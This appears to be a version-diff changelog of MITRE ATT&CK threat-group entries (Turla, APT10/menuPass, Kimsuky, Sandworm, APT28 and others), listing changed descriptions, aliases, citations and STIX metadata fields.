| external_references[11]['description'] | Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015. | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. |
| external_references[11]['url'] | https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1 | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ |
| external_references[12]['source_name'] | Securelist WhiteBear Aug 2017 | ESET Turla Mosquito Jan 2018 |
| external_references[12]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. |
| external_references[12]['url'] | https://securelist.com/introducing-whitebear/81638/ | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf |
| external_references[13]['source_name'] | ESET Turla PowerShell May 2019 | Leonardo Turla Penquin May 2020 |
| external_references[13]['description'] | Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. | Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. |
| external_references[13]['url'] | https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ | https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf |
| x_mitre_version | 1.4 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Group 88 | |
| aliases | Belugasturgeon | |
| external_references | {'source_name': 'Accenture HyperStack October 2020', 'description': 'Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.', 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity'} | |
| external_references | {'source_name': 'Symantec Waterbug', 'description': 'Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.', 'url': 'https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1'} | |
| external_references | {'source_name': 'Securelist WhiteBear Aug 2017', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", 'url': 'https://securelist.com/introducing-whitebear/81638/'} | |
| external_references | {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'} |
Current version: 2.1
Version changed from: 1.5 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa | t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa |
| > | t group that appears to originate from China and has been ac | > | t group that has been active since at least 2006. Individual | ||
| > | tive since approximately 2009. The group has targeted health | > | members of [menuPass](https://attack.mitre.org/groups/G0045 | ||
| > | care, defense, aerospace, and government sectors, and has ta | > | ) are known to have acted in association with the Chinese Mi | ||
| > | rgeted Japanese victims since at least 2014. In 2016 and 201 | > | nistry of State Security's (MSS) Tianjin State Security Bure | ||
| > | 7, the group targeted managed IT service providers, manufact | > | au and worked for the Huaying Haitai Science and Technology | ||
| > | uring and mining companies, and a university. (Citation: Pal | > | Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: | ||
| > | o Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast O | > | District Court of NY APT10 Indictment December 2018) [menu | ||
| > | ct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud | > | Pass](https://attack.mitre.org/groups/G0045) has targeted he | ||
| > | Hopper April 2017) (Citation: FireEye APT10 April 2017) (Ci | > | althcare, defense, aerospace, finance, maritime, biotechnolo | ||
| > | tation: DOJ APT10 Dec 2018) | > | gy, energy, and government sectors globally, with an emphasi | ||
| > | s on Japanese organizations. In 2016 and 2017, the group is | ||||
| > | known to have targeted managed IT service providers (MSPs), | ||||
| > | manufacturing and mining companies, and a university.(Citati | ||||
| > | on: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike Crowd | ||||
| > | Cast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC C | ||||
| > | loud Hopper April 2017)(Citation: FireEye APT10 April 2017)( | ||||
| > | Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY | ||||
| > | APT10 Indictment December 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ | |
| external_references | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 17:15:14.339000+00:00 | 2021-10-11 14:01:44.538000+00:00 |
| description | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018) | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) [menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[1]['description'] | (Citation: Palo Alto menuPass Feb 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[2]['source_name'] | Stone Panda | Cicada |
| external_references[2]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018) | (Citation: Symantec Cicada November 2020) |
| external_references[3]['source_name'] | APT10 | POTASSIUM |
| external_references[3]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018) | (Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[4]['source_name'] | Red Apollo | Stone Panda |
| external_references[4]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020) |
| external_references[5]['source_name'] | CVNX | APT10 |
| external_references[5]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020) |
| external_references[6]['source_name'] | HOGFISH | Red Apollo |
| external_references[6]['description'] | (Citation: Accenture Hogfish April 2018) | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[7]['source_name'] | Palo Alto menuPass Feb 2017 | CVNX |
| external_references[7]['description'] | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[8]['source_name'] | Crowdstrike CrowdCast Oct 2013 | HOGFISH |
| external_references[8]['description'] | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. | (Citation: Accenture Hogfish April 2018) |
| external_references[9]['source_name'] | FireEye Poison Ivy | DOJ APT10 Dec 2018 |
| external_references[9]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. |
| external_references[9]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion |
| external_references[10]['source_name'] | PWC Cloud Hopper April 2017 | District Court of NY APT10 Indictment December 2018 |
| external_references[10]['description'] | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. | US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020. |
| external_references[10]['url'] | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf | https://www.justice.gov/opa/page/file/1122671/download |
| external_references[11]['source_name'] | FireEye APT10 April 2017 | Palo Alto menuPass Feb 2017 |
| external_references[11]['description'] | FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017. | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ |
| external_references[12]['source_name'] | DOJ APT10 Dec 2018 | Crowdstrike CrowdCast Oct 2013 |
| external_references[12]['description'] | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. |
| external_references[12]['url'] | https://www.justice.gov/opa/press-release/file/1121706/download | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| external_references[13]['source_name'] | Accenture Hogfish April 2018 | FireEye Poison Ivy |
| external_references[13]['description'] | Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. |
| external_references[13]['url'] | https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| external_references[14]['source_name'] | FireEye APT10 Sept 2018 | PWC Cloud Hopper April 2017 |
| external_references[14]['description'] | Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. |
| external_references[14]['url'] | https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf |
| x_mitre_version | 1.5 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Cicada | |
| aliases | POTASSIUM | |
| external_references | {'source_name': 'FireEye APT10 April 2017', 'description': 'FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html'} | |
| external_references | {'source_name': 'Symantec Cicada November 2020', 'description': 'Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage'} | |
| external_references | {'source_name': 'Accenture Hogfish April 2018', 'description': 'Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.', 'url': 'https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf'} | |
| external_references | {'source_name': 'FireEye APT10 Sept 2018', 'description': 'Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html'} |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-17 21:11:30.305000+00:00 | 2021-02-09 13:49:09.605000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-31 15:10:22.189000+00:00 | 2021-01-20 22:20:20.981000+00:00 |
This object has been revoked by [G0094] Kimsuky
Description for [G0094] Kimsuky: [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| description | [Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018) | |
| aliases | ['Stolen Pencil'] | |
| object_marking_refs | ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'] | |
| x_mitre_version | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 00:18:21.594000+00:00 | 2021-10-07 12:21:31.309000+00:00 |
| revoked | False | True |
Current version: 1.0
Description: [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-10-15 00:34:25.521000+00:00 |
| description | [Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Taidoor', 'description': '(Citation: TrendMicro Taidoor)'} | |
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 1.0
Description: [Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)
Current version: 2.1
Description: [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)
Current version: 1.1
Description: [Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2021-10-18 20:34:03.233000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
